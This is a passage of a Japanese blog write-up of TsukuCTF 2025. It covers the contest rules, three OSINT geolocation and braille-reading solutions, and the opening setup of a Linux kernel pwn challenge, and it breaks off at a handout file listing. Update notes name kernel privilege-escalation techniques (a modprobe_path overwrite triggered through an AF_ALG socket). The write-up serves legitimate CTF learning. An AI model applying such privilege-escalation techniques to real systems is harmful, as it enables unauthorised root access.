TsukuCTF 2025へ、チーム完全に理解したで参加しました。そのwrite-up記事です。
チーム参加の経緯: 私が過去にTsukuCTF 2023やTsukuCTF 2021へ参加したときに「OSINTジャンルは1人でやるには厳しい!」と感じました。どこかのチームに混ぜさせていただこうと思っていると、以前のASUSN CTF 2時に参加したDiscordサーバーでTsukuCTF参加者を募集していました。渡りに船ということで、この機会に参加させていただきました。そこで結成されたチームが完全に理解したです!
2025/05/08 04時頃追記: easy_kernel問題中の記述について、作問者のr1ru(@ri5255)様から言及いただいた箇所や、追加で試した箇所を加筆修正しました:
gdbデバッグ時にadd-symbol-fileコマンドでシンボル情報を追加する方法や、ptypeコマンドで構造体内容を確認する方法を追記しました。nmコマンドやreadelfコマンドを使って、vmlinuxファイルからシンボルアドレスを取る具体例を追記しました。vuln.koで、複数関数が同一シンボルに紐づいていたことを追記しました。- 今回の問題で
modprobe_path変更後の従来手法が動作しなかった理由と、AF_ALG手法を試しましたが今回の問題設定ではソケットを作成できなかったことを追記しました。
2025/05/13 00時頃追記: modprobe_path実行方法にはAF_ALGソケット作成のみで良い旨の助言をいただき、easy_kernel問題で当該手法で権限昇格できたため関連する内容を追記修正しました。
2025/06/06 01時頃追記: 本記事をWriteup賞へ選んでいただいた話を追記しました。ありがとうございます!
- コンテスト概要
- 結果
- 環境
- 解けた問題
- [osint, easy] Casca (366 teams solves, 100 points)
- [osint, medium] rider (215 teams solves, 100 points)
- [osint, medium] power (193 teams solves, 100 points)
- [pwn, medium] easy_kernel (12 teams solves, 497 points)
- Writeup賞
- 感想
コンテスト概要
2025/05/03(土) 12:00 +09:00 - 05/04(日) 12:00 +09:00の24時間開催でした。他ルールはRulesページから引用します(日本語と英語の2言語で記述されています、ここでは日本語のみを引用します):
TsukuCTF 2025 について
- TsukuCTF 2025 はオンラインにて開催されます (競技 URL: https://tsukuctf.org )。
- 開催期間は 2025/05/03 12:00(JST) ~ 2025/05/04 11:59(JST) の 24h00m です。
- ジャンルは OSINT, Web, Pwn, Crypto などを予定しています。
- 運営からの連絡は CTFd の Notifications 機能および以下のサービスにて通知を行います。
- 公式 Discord (URL: https://discord.gg/yyEk4SYsVM )
- 公式 X(Twitter) (URL: https://x.com/tsukuctf )
- 運営への質問等は公式 Discord の ❓-ask-for-admin チャンネルでチケットを作成してください。Discord が利用できない場合は、Twitter のダイレクトメッセージをご利用ください。ただし、問題の解法に関する質問などにはお答えいたしません。
- 1 チームあたりの人数上限は 4 人です。
- チームで参加する場合はアカウントを共有するのではなく、Team 機能をご利用ください。
- フラグは何度でも入力することができます。ただし一部の問題には回数制限が設けられており、その場合は問題文にその旨が記載されています。
- 誤ったフラグを入力することによる減点はありません。
- 問題の点数は解かれた人数に応じて減少します(一部を除く)。
- 問題サーバへ大量アクセスすることでフラグを入手できる問題はありません(一部を除く)。多くのアクセスを必要とする場合は問題文にその旨が記載されています。
- 有償のツールや環境でしか解くことができない問題はありません。
- CTF の開催期間終了後は WriteUp の公開を推奨しています。
フラグ形式
- フラグは全て TsukuCTF25{} という形式をとります。例えば答えとなる文字列が THIS_IS_FLAG の場合、フラグは TsukuCTF25{THIS_IS_FLAG} となります。
- フラグに使用可能な文字種は数字、アルファベット、記号、ひらがな、カタカナ、漢字などとします。表示不可能な文字は基本的に含まれません。具体的な文字に関しての質問がある場合は、公式 Discord の ❓-ask-for-admin チャンネルよりご連絡ください。
- 座標を特定する問題におけるフラグ形式は問題文に記載のある通り、 TsukuCTF25{緯度_経度} です。ただし、緯度および経度は十進法で小数点以下五桁目を切り捨てたものとします。例えば、日本中央標準時子午線最北端の塔の座標は緯度 35.693098 、経度 135.003078 付近なので、フラグは TsukuCTF25{35.6930_135.0030} となります。また、数メートル程度の誤差が許容されています。なお、一部の問題では違なる形式で出題されることがあります。
- フラグにおける固有名詞は各公式サイト、座標は Google マップを参考に正答を作成しています。他の場所から情報を取得する場合はご注意ください。
- 複数のフラグが答えとして設定されている場合があります。
- 過去に開催された TsukuCTF 2021 のフラグ形式は TsukuCTF{} 、TsukuCTF 2022 のフラグ形式は TsukuCTF22{}、TsukuCTF 2023 のフラグ形式は TsukuCTF23{} でしたのでお間違えの無いようご注意ください。
賞品
- 競技終了後に以下に記載するタイトルでの賞品の贈呈が予定されています。
- CTF つよつよ学生賞
- WriteUp 賞
- 対象は日本国内で賞品を受け取れる参加者に限ります。
- これら賞品の獲得条件は予告なしで変更される可能性があります。
学生 CTF つよつよで賞
- 日本の学校に通っている学生の中で、最終順位が 1 位から 3 位までのチームにAmazonギフトカードの形式で賞金を授与します。
- 🥇 11760 JPY (2940 x 4)
- 🥈 5880 JPY (2940 x 2)
- 🥉 2940 JPY
- 競技終了後 24h 以内に連絡がない場合は、繰り上げでの賞品贈呈を行います。繰り上げが発生した場合は、前述した公式 Discord および公式 Twitter において通知を行います。また、賞品の辞退が発生した場合も同様とします。
WriteUp 賞
- 競技終了後 48h 以内にハッシュタグ #TsukuCTF をつけてツイートされた WriteUp の中で、運営の評価が高かった 4 名程度にささやかな賞品を贈呈します。ツイートされたアカウントに運営が公式 Twitter よりダイレクトメッセージでの連絡を行うため、許可設定をお願いいたします。
- 連絡後 24h 以内にお返事がいただけない場合やダイレクトメッセージが許可されていない場合、可能な限り運営より連絡を試みますが、受賞が取り消される場合があります。また、賞品の辞退が発生した場合の繰り上げはありません。
- 扱う問題数、記述媒体、著者の属性などに対する運営による評価の差異はありません。例えば正答数が 1 問である WriteUp でも受賞対象となります。
- 複数人で記述された WriteUp においては、代表者 1 名に発送致します。
- クリティカルな非想定解やユニークな解法をお待ちしています。
禁止事項
- スコアサーバなど許可されていないサーバへの攻撃およびそれに準ずる行為
- 問題サーバへの過度な負荷を与える行為
- 1 人が複数のアカウントを作成する行為
- 他ユーザへの嫌がらせ行為や競技を妨害する行為
- 本 CTF の開催期間中にフラグまたはフラグ獲得に関連する情報を公開する行為
- その他、本 CTF の運営を妨げる行為
ジャンルは OSINT, Web, Pwn, Crypto などを予定しています。とジャンルが明記されています。また、WriteUp賞の記述もあります。WriteUp歓迎の意思を表明していただけるのはありがたいです。
結果
正の得点を得ている882チーム中、3531点で5位でした!チームの皆様が強いです!


環境
WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。
Windows(ホスト)
c:\>ver Microsoft Windows [Version 10.0.19045.5796] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 docker-desktop Running 2 kali-linux Stopped 2 Ubuntu-22.04 Running 2 c:\>
他ソフト
- Google Chrome Version 135.0.7049.116 (Official Build) (64-bit)
- IDA Version 9.1.250226 Windows x64 (64-bit address size)
WSL2(Ubuntu 24.04)
$ cat /proc/version Linux version 5.15.167.4-microsoft-standard-WSL2 (root@f9c826d3017f) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Tue Nov 5 00:21:55 UTC 2024 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04.2 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04.2 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show pwntools | grep Version: Version: 4.12.0 $ g++ --version g++ (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0 Copyright (C) 2023 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. $ gdb --version GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. $ gdb --batch --eval-command 'version' | grep 'Pwndbg:' Pwndbg: 2025.04.18 build: afc2c833 $ qemu-system-x86_64 --version QEMU emulator version 8.2.2 (Debian 1:8.2.2+ds-0ubuntu1.6) Copyright (c) 2003-2023 Fabrice Bellard and the QEMU Project developers $
解けた問題
[osint, easy] Casca (366 teams solves, 100 points)
海が綺麗なこの日本の街は、かつてポルトガルのリゾート地との交流がありました。
この写真のすぐ右側にはその記念碑が置かれています。記念碑に書かれている「式典の開催日」を答えてください。
Format: TsukuCTF25{YYYY/MM/DD}
配布ファイルとして画像1枚がありました:

Google Chromeでその画像を開き、右クリックメニューのSearch image with Googleを選択して調査すると、お宮緑地・ジャカランダ遊歩道(静岡県熱海市) : 食で奏でる旅の記憶が見つかりました。当該サイトを調べると、「熱海市とカスカイス市」箇所の画像内容が、与えられ画像と寒色系の模様の柱(?)などの雰囲気が良く似ており、かつ問題文にある通り記念碑のようなものが存在します。ただ上記記事中の画像では記念碑の文字を読み取れなかったので、さらに画像検索しました:

ジャカランダ遊歩道が完成 大塚実会長が熱海をナンバーワンに。 | 熱海市議会議員 橋本かずみ公式サイトがヒットしました。ヒット結果の画像から 2014年 と読めます。月日箇所が読みづらいですが、どうやら 6月6日 らしく見えます。今回は問題の回答数制限がなかったため、試しに問題文に記載されているフラグ形式で提出すると正解できました: TsukuCTF25{2014/06/06}
なお本記事記述中に気付いたこととして、記事先頭に平成26年6月6日と完成式典の開催日が明記されていました!ちゃんと文章を読んでいれば、より自信を持って提出できましたね……。
[osint, medium] rider (215 teams solves, 100 points)
遠くまで歩き、夕闇に消える足跡
煌めく街頭が、夜の街を飾る
傍らの道には、バイクの群れが過ぎ去り
風の音だけが残る
光と影の中、ふと立ち止まり思う
私は今、どこにいるんだろう
フラグフォーマットはこの人が立っている場所のTsukuCTF25{緯度_経度}です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。
ヒントを見る
この詩に意味はありません。
配布ファイルとして画像1枚がありました:

信号機の3色が縦向きなことと、左車線の黒い車上方にある交通標識に見覚えが無いことから、日本国外の写真らしいと検討をつけました。画像右側のお店のロゴ(?)で画像検索しました:

いくつかリンクを辿ったりすると、OTI Fried Chicken - OTI Fried Chickenのロゴ(?)と分かりました。Webサイト内容が全く読めなかったのでGoogle翻訳で翻訳してみると、インドネシア語とのことです。Google翻訳で英語翻訳してWebサイトを見ていると、ページ下の方にVisit Usなリンクがありました:

リンク先のKunjungi Kami - OTI Fried Chickenページによると、インドネシアに23店舗あるようです。Google Mapsで独自の地図としても作成されていました: OTI Fried Chicken - Google マイマップ
23店舗でしたら人力全探索ができる数です。Google Mapsのストリートビューを使って1個1個調べていきました。約20分でざっくり見終わりました。メモです:
- OTI Fried Chicken Bulusan: https://www.google.co.jp/maps/@-7.0606144,110.4469837,3a,75y,127.54h,84.69t/data=!3m10!1e1!3m8!1syOYT79ADx-8gN4_ZlAwgSQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D5.3074494638071315%26panoid%3DyOYT79ADx-8gN4_ZlAwgSQ%26yaw%3D127.54080674488605!7i16384!8i8192!9m2!1b1!2i50!5m1!1e4?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 違う - OTI Fried Chicken Malangsari: https://www.google.com/maps/@-6.980387,110.4538511,3a,75y,25.62h,93.54t/data=!3m10!1e1!3m8!1sXwELE_6ilDGroDh8xbzGVw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-3.54442055884941%26panoid%3DXwELE_6ilDGroDh8xbzGVw%26yaw%3D25.61922177385298!7i16384!8i8192!9m2!1b1!2i39?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 違う - OTI Fried Chicken Fatmawati: https://www.google.com/maps/@-7.0182776,110.4714031,3a,75y,230.63h,87.39t/data=!3m10!1e1!3m8!1sDClEmKApdcXx3zSXX3DHVg!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D2.6103490300129266%26panoid%3DDClEmKApdcXx3zSXX3DHVg%26yaw%3D230.63292760612228!7i16384!8i8192!9m2!1b1!2i27?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 違う - OTI Fried Chicken Ngaliyan: https://www.google.com/maps/@-6.9930388,110.3511963,3a,75y,214.77h,88.32t/data=!3m7!1e1!3m5!1sFr34gE9pRPC6QHkulM-xPg!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D1.679235081811484%26panoid%3DFr34gE9pRPC6QHkulM-xPg%26yaw%3D214.76667142134355!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 違う - OTI Fried Chicken Majapahit: https://www.google.com/maps/@-6.9991676,110.4435194,3a,75y,305.81h,94.3t/data=!3m7!1e1!3m5!1sBjGuyGUWpP6fPvEdc4gyYw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-4.29908183699321%26panoid%3DBjGuyGUWpP6fPvEdc4gyYw%26yaw%3D305.8114853991534!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道2車線だけど歩道が違う - OTI Fried Chicken Anjasmoro: https://www.google.com/maps/@-6.981136,110.3913586,3a,75y,20.51h,88.25t/data=!3m10!1e1!3m8!1sen4SYDt5pbrqmPFippIPUw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D1.7460231906109556%26panoid%3Den4SYDt5pbrqmPFippIPUw%26yaw%3D20.51219585749664!7i16384!8i8192!9m2!1b1!2i27?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路類がぜんぜん違う - OTI Fried Chicken Kelud: https://www.google.com/maps/@-7.004713,110.3973698,3a,75y,252.53h,92.74t/data=!3m10!1e1!3m8!1s1w_tMCTGg1R52ZwjCZB3kg!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-2.736536607308196%26panoid%3D1w_tMCTGg1R52ZwjCZB3kg%26yaw%3D252.53135250330348!7i16384!8i8192!9m2!1b1!2i27?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路や歩道はまだにているけれど、左側の草木の生い茂りっぷりが違う。 - OTI Fried Chicken Hasanudin: https://www.google.com/maps/@-6.9700309,110.4121565,3a,75y,355.56h,88.23t/data=!3m7!1e1!3m5!1sI4lScGzxPT8n2togDANq1Q!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D1.769533997097028%26panoid%3DI4lScGzxPT8n2togDANq1Q%26yaw%3D355.5604765892301!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線なので違う - OTI Fried Chicken Woltermonginsidi: https://www.google.com/maps/@-6.9631971,110.4786185,3a,75y,171.31h,93.73t/data=!3m7!1e1!3m5!1sjbybDewR0tW7pQG_D5RNrQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-3.728252239308162%26panoid%3DjbybDewR0tW7pQG_D5RNrQ%26yaw%3D171.30987780737723!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線だし道路の雰囲気等も違う - OTI Fried Chicken Mijen: https://www.google.com/maps/@-7.0551644,110.3152123,3a,75y,220.58h,88.28t/data=!3m7!1e1!3m5!1sK6AY0_DGBt0SMIeM94uZpQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D1.7192213184084864%26panoid%3DK6AY0_DGBt0SMIeM94uZpQ%26yaw%3D220.58437936028574!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線だし雰囲気も自然豊かさも違う - OTI Fried Chicken Kampung Kali: https://www.google.com/maps/@-6.9857824,110.4266619,3a,75y,93.3h,93.96t/data=!3m7!1e1!3m5!1s1IBE1r_SnZci8bxUJSb8Ig!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-3.95844981514135%26panoid%3D1IBE1r_SnZci8bxUJSb8Ig%26yaw%3D93.30390918795301!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線なので違う - OTI Fried Chicken Kalipancur: https://www.google.com/maps/@-7.0118829,110.3770828,3a,75y,79.93h,92.8t/data=!3m7!1e1!3m5!1s9ri3eVgwFwusQnhXpq2xdw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-2.803498556778081%26panoid%3D9ri3eVgwFwusQnhXpq2xdw%26yaw%3D79.92811166890594!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 反対側の自然豊かさが違う - OTI Fried Chicken Ungaran: https://www.google.com/maps/@-7.1340402,110.4095204,3a,75y,354.72h,86.09t/data=!3m7!1e1!3m5!1sxp1w3BLPD-qg1PN8FRUBBA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D3.9120423594651044%26panoid%3Dxp1w3BLPD-qg1PN8FRUBBA%26yaw%3D354.72011824465574!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線なので違う - OTI Fried Chicken Salatiga: https://www.google.com/maps/@-7.3189127,110.4971072,3a,75y,119.27h,98.78t/data=!3m7!1e1!3m5!1s7eNfmndlcbAXC1Mp_gdcUg!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-8.78417070530098%26panoid%3D7eNfmndlcbAXC1Mp_gdcUg%26yaw%3D119.27486702275941!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路や歩道の雰囲気は近い。ただKING等周囲のお店が違う。 - OTI Demak: https://www.google.com/maps/@-6.9020707,110.6298442,3a,75y,59.47h,91.15t/data=!3m10!1e1!3m8!1smugj1XIfgMMxaoxDR0XYFA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-1.1545819477716321%26panoid%3Dmugj1XIfgMMxaoxDR0XYFA%26yaw%3D59.473124037131896!7i16384!8i8192!9m2!1b1!2i38?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 中央分離帯があるので違う。 - OTI Fried Chicken Kudus: https://www.google.com/maps/@-6.8078235,110.840095,3a,75y,289.92h,97.42t/data=!3m7!1e1!3m5!1ssii1zIw7TxdnfOm_zj9t8A!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-7.420463032684168%26panoid%3Dsii1zIw7TxdnfOm_zj9t8A%26yaw%3D289.91820622340316!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線。歩道も違う。 - OTI Fried Chicken Jepara: https://www.google.com/maps/@-6.5886363,110.6649869,3a,75y,220.32h,97.56t/data=!3m7!1e1!3m5!1sKkpQcAPxPRzRINb-2q2dgA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-7.563623992721261%26panoid%3DKkpQcAPxPRzRINb-2q2dgA%26yaw%3D220.3249918972611!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道が狭い。違う。 - OTI mranggen: https://www.google.com/maps/@-7.0261794,110.5175695,3a,75y,272.63h,93.25t/data=!3m7!1e1!3m5!1sHQKVPkZK2SQqdWVFNOTCbA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-3.249723508224008%26panoid%3DHQKVPkZK2SQqdWVFNOTCbA%26yaw%3D272.6277594546352!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 片道1車線。中央分離帯あり。違う。 - OTI Fried Chicken Kaliwungu: https://www.google.com/maps/@-6.9624144,110.256578,3a,75y,296.03h,92.82t/data=!3m7!1e1!3m5!1s9SjfSJqct6v8ehjyyTGooA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-2.824801501924483%26panoid%3D9SjfSJqct6v8ehjyyTGooA%26yaw%3D296.03318156176385!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路も歩道も雰囲気が違う - OTI Fried Chicken Heritage Kranggan: https://www.google.com/maps/@-6.9756168,110.4234953,3a,75y,73.08h,95.55t/data=!3m7!1e1!3m5!1sl0GFjtqQA0m8NqhU1yNS3Q!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-5.550334608022524%26panoid%3Dl0GFjtqQA0m8NqhU1yNS3Q%26yaw%3D73.0801912406021!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路も歩道も雰囲気が違う。 - OTI Fried Chicken Banyumanik: https://www.google.com/maps/@-7.0660432,110.4177996,3a,75y,109.82h,91.79t/data=!3m7!1e1!3m5!1s52twZFab-PGfi-usfrFxow!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-1.7931941656275825%26panoid%3D52twZFab-PGfi-usfrFxow%26yaw%3D109.81556070777353!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D 道路も歩道も雰囲気が違う。 - OTI Fried Chicken Rendeng Kudus: https://www.google.com/maps/@-6.8021743,110.8564864,3a,75y,26.76h,98.55t/data=!3m10!1e1!3m8!1sCAgDthNFaA2jmMEtkD6vcw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-8.550988712363008%26panoid%3DCAgDthNFaA2jmMEtkD6vcw%26yaw%3D26.75760664749291!7i16384!8i8192!9m2!1b1!2i32?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D ストリートビューで店舗が見つからないものの、道路も歩道も雰囲気が違う。 - OTI Fried Chicken Xpress - Ketileng: https://www.google.com/maps/@-7.0311857,110.4676625,3a,75y,102.96h,92.49t/data=!3m7!1e1!3m5!1si4gxg6bhVfAa396ULqSssw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-2.493961615817838%26panoid%3Di4gxg6bhVfAa396ULqSssw%26yaw%3D102.95862135486789!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDQzMC4xIKXMDSoASAFQAw%3D%3D ストリートビューで店舗が見つからないものの、道路も歩道も雰囲気が違う。
OTI Fried Chicken Salatiga店舗が、与えられた画像の次の点と一致しており、正解に近いように思いました:
- 車道が片道2車線であること。
- 歩道が整備されており、点字ブロックのような黄色いブロックが埋設されていること。
- 歩道にある街灯の形状が一致すること(ストリートビューでは少し振り返ると見えます)。
- 画像左側の建物右上に、横長の白文字赤背景のロゴがあること。
一方で与えられた画像では、OTIロゴの奥に、青背景白文字のKINGのロゴ(?)が存在します。ストリートビューで探してみると、クリック2回分移動した先の交差点でKINGのロゴを見つけました。というわけで、OTI Fried Chicken Salatigaで正しそうです。
ストリートビューで探したURLの一部である@-7.3189127,110.4971072を使って、問題文に記載されているフラグ形式で提出すると正解できました: TsukuCTF25{-7.3188_110.4970}
[osint, medium] power (193 teams solves, 100 points)
力を感じてきた。
フラグフォーマットはこの人が立っている場所のTsukuCTF25{緯度_経度}です。ただし、緯度および経度は小数点以下五桁目を切り捨てたものとします。
配布ファイルとして画像1枚がありました:

右の方に漢字表記があるので、おそらく日本か中国の画像のようです。気になったので中国語の点字 - Wikipediaページを見てみると、中国の点字は日本のものとは全然違っていました。そのため日本語として点字を読んでいきました。点字を読んでみよう | 日本点字委員会(日点委)ページ下部の表や、Unicode点字変換を頼りました。
画像上側の地図部分から固有名詞を拾えれば嬉しいので試しました:

東西南北は分かりますが、肝心の固有名詞が分かりませんでした!(ただ本記事記述中に分かったこととして、ちどりいの右のわ(⠄)を見逃していたり、石灯籠のど(⠐⠞)を間違えてじ(⠐⠳)と誤読して謎の文字列になったりしています。正しく読めていればそちらからも推測できたと思います。またいすもく箇所は正しくはじゅもくです)
というわけで次は、画像下側の点字の文章を読んでいくことにしました。右側から、文章の先頭4行を頑張って1文字1文字読むと、次のように見受けられました:
とくじ 2ねん~1うろれ~、?ぎょーじ 2せい しんぎょー しょーにんが えどに あんぎゃ した おり、 まさかどづかが あれはてて いた ため つかを しゅーふくし、 いたいしとーばを たてて、 かたわら にちりんじに おいて くよー したと されます。 その
歴史の話のようです。おもむろにかたわら 日輪寺でGoogle検索すると神田祭公式ブログ » 将門塚 神田神社旧跡地到着がヒットしました。次の記述があります:
徳治2年(1307)遊行寺二世真教上人が江戸に行脚した折、将門塚が荒れ果てていたため塚を修復し、板石塔婆を立てて傍らの日輪寺において供養したとされます。
まさに同じ文章です!また、どうやら⠶は丸括弧を表しているようです。というわけで将門塚 点字でGoogle検索してみると、将門塚は点字に情報がつまっている :: デイリーポータルZ記事を見つけました。敷地内の図が可愛くて気になってしまった箇所の画像が、まさに問題で与えられた画像と一致しています!そのため場所は将門塚の場所のようです。
将門塚の住所を調べようとしていると、チームの方がデイリーポータルZ記事の下部にGoogle Mapsが埋め込まれていることを教えてくれました。記事が丁寧!というわけで将門塚 - Google マップの座標@35.687313,139.762741箇所を使って、問題文に記載されているフラグ形式で提出すると正解できました: TsukuCTF25{35.6873_139.7627}
日本語の点字は、基本的に母音が左上3点、子音が右下3点にあり規則的なので、だんだん読み慣れていきました。とはいえや行の配置が規則外なので大変でした。わ行は特別に思える配置なので、まだ分かりやすい印象です。
ところで、与えられた画像の左側から見えている、茶色い手のようなものは一体何なのでしょう……?

[pwn, medium] easy_kernel (12 teams solves, 497 points)
If you're new to kernel challenges, check out this guide. You can download the handouts from here. The flag is in /dev/sdb. Good luck and have fun! nc challs.tsukuctf.org 19000
注意: 筆者は、Linux Kernel一般についても、Linux Kernel Exploitについても、知識が全然ありません。以降の記述は万全を期していますが、誤り等あればコメント欄等でぜひ教えてください!また、筆者自身が忘れないように、セットアップ手順や確認内容等を詳細に記述します。
問題文のthis guide箇所にはLinux Kernel Exploitation | PAWNYABLE!へのリンクが貼られていました。また、handoutsからダウンロードできるファイルは次のものでした:
$ find . -type f -print0 | xargs -0 file ./.config: Linux make config build file, ASCII text ./bzImage: Linux kernel x86 boot executable bzImage, version 6.14.2 (ユーザー名とマシン名があったので省略) #1 SMP PREEMPT_DYNAMIC Sat Apr 19 09:09:40 JST 2025, RO-rootFS, swap_dev 0X5, Normal VGA ./flag.txt: ASCII text ./rootfs.ext3: Linux rev 1.0 ext3 filesystem data, UUID=e8a51e7e-8b4b-4341-a399-e106db10741d, volume name "rootfs" (large files) ./run.sh: POSIX shell script, ASCII text executable ./src/Makefile: makefile script, ASCII text ./src/vuln.c: C source, ASCII text ./upload.py: Python script, ASCII text executable ./vmlinux: ELF 64-bit LSB executable, 